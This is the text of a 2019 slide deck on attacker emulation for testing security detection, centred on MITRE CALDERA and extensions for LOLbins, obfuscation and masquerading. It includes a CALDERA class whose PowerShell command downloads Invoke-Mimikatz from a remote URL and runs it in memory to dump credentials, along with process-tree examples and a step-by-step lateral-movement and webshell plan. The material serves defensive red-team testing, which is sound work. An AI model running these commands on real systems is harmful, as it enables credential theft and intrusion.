The Imitation Game: Attacker Emulation

Wietze Beukema (@Wietze)

June 2019

Who dis?

What’s next?

  1. Why
  2. How
  3. Cool stuff

Attacker emulation

Attacker Emulation: Do what an attacker would do

Attacker emulation (2)

… but why?

  1. Test your own detection capability (with a realistic attack model)
  2. Research and test new attacker techniques
  3. Showing off (we all want to)

Attacker emulation mode

Attacker emulation mode: a trade-off

_
_

Source: https://xkcd.com/927/
Source: https://xkcd.com/927/

Tools

List of open-source ATT&CK™ framework emulation tools
  • Red Canary Atomic Red [1]
  • Uber Metta [2]
  • MITRE CALDERA [3]
  • Endgame Red Team Automation [4]
  • Guardicore Infection Monkey [5]
  • NextronSystem APTSimulator [6]
  • RE:TERNAL [7]
  • Blue Team Training Toolkit (BT3) [8]
  • DumpsterFire [9]
  • AutoTTP [10]
  • MITRE/NSA Unfetter [11]
  • MATE [12]
  • Praetorian Purple Team Automation [13]

… and many more

Tools (2)

Vendor Product Automated? Dynamic? Supported Platforms
Red Canary Atomic Red Windows Linux macOS
Uber Metta ✔️ Windows Linux macOS
MITRE CALDERA 2.0 ✔️ ✔️/❌ ️️️️️️ Windows Linux macOS
MITRE CALDERA 1.0 ✔️ ✔️ Windows
Endgame Red Team Automation ✔️ ✔️ Windows

Tools (3)

Finding your Eve

MITRE CALDERA

Typical set up

_
_

Sample workflow

_
_

Sample workflow (2)

_
_

Typical CALDERA class

Typical CALDERA class (2)

Typical CALDERA class (3)

class DumpCreds(Step):
    display_name = "dump_creds"
    summary = "Run Invoke-Mimikatz to obtain credentials."
    attack_mapping = [('T1003', 'Credential Access')]

    preconditions = [("rat", OPRat({"elevated": True}))]
    postconditions = [("user_g", OPUser),
                      ("credential_g", OPCredential)]
    @staticmethod
    async def action(operation, rat, host, software, file_g, process_g, software_g):
        # Step 1: run Mimikatz in memory
        MIMIKATZ_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016f(...)67b3/Exfiltration/Invoke-Mimikatz.ps1"
        ps_parameters = ['powershell.exe', '-exec', 'bypass', '-C', 'IEX(IWR \'{}\'); Invoke-Mimikatz -DumpCreds'.format(MIMIKATZ_URL)]

        credentials = (await operation.execute_shell_command(rat, command.CommandLine(ps_parameters), DumpCreds.parser))

        # Step 2: parse credentials
        for cred in credentials:
            # Generate User object
            user_obj = await user_g({'username': cred['username'], 'is_group': False})
            # Generate Credential object
            await credential_g({'password': cred['password'], 'found_on_host': rat.host, 'user': user_obj})

        return True
@staticmethod
    async def cleanup(cleaner, host):
        pass

Challenges

Beyond standard CALDERA

Focus on three extensions:

  1. LOLbins/LOLbas implementation (T1218, T1216, …)
  2. Common obfuscation techniques (T1140)
  3. Masquerading techniques (T1036)

1: LOLbins

Beyond standard CALDERA: LOLbins

Beyond standard CALDERA: LOLbins (2)

Beyond standard CALDERA: LOLbins (3)

Example:

🔴 C:\Windows\System32\wininit.exe
 └── ⚙️ C:\Windows\System32\services.exe
   └── ⚙️ C:\Windows\System32\commander.exe
     └── ⚙️ C:\Windows\System32\regasm.exe /u AdobeUpdater.dll
       └── ⚙️ C:\Windows\temp\evil.exe

2: Obfuscation

Beyond standard CALDERA: ObfuscateT1140

Beyond standard CALDERA: ObfuscateT1140 (2)

Example:

3: Masquerading

Beyond standard CALDERA: MasqueradeT1036

Beyond standard CALDERA: MasqueradeT1036 (2)

Example:

🔴 C:\Windows\System32\wininit.exe
 └── ⚙️ C:\Windows\System32\services.exe
   └── ⚙️ C:\Windows\System32\svchost.exe
     └── ⚙️ C:\Windows\Temp\GoogleUpdate.exe /e:jscript evil.js

Plan

Plan (2)

-
-

Putting it together

Demo time!

Putting it together (2)

Step Process Goal Artefacts Additional Techniques Relies on
1 powershell.exe Run Mimikatz Format string obfuscation
2 powershell.exe Find other computers Direct to StdIn
3 - Prepare webshell
4 certutil.exe Download webserver ZIP 394nxk7klci7vh.exe LOLBin 3
5 powershell.exe Find administrators Direct to StdIn
6 commander.exe Create persistence
7 rundll32.exe Extract / run webserver UpdateDeamon.exe, g5f.sct, 4ebw1nk/* Masquerading 4
8 usbwebserver.exe Test webshell 4, 7
9 net.exe Mount network share 1, 2, 5
10 xcopy.exe Copy RAT commander.exe 9

Aftermath

Attacker Emulation going forward

.. and let’s remind ourselves

Attacker Emulation ≠ silver bullet

Key takeaways

  1. Attacker emulation helps understand threats and your defences
  2. Do attacker emulation the right way:
  3. Doesn’t have to be difficult!
  4. Community-based sharing

Getting in touch

Thank you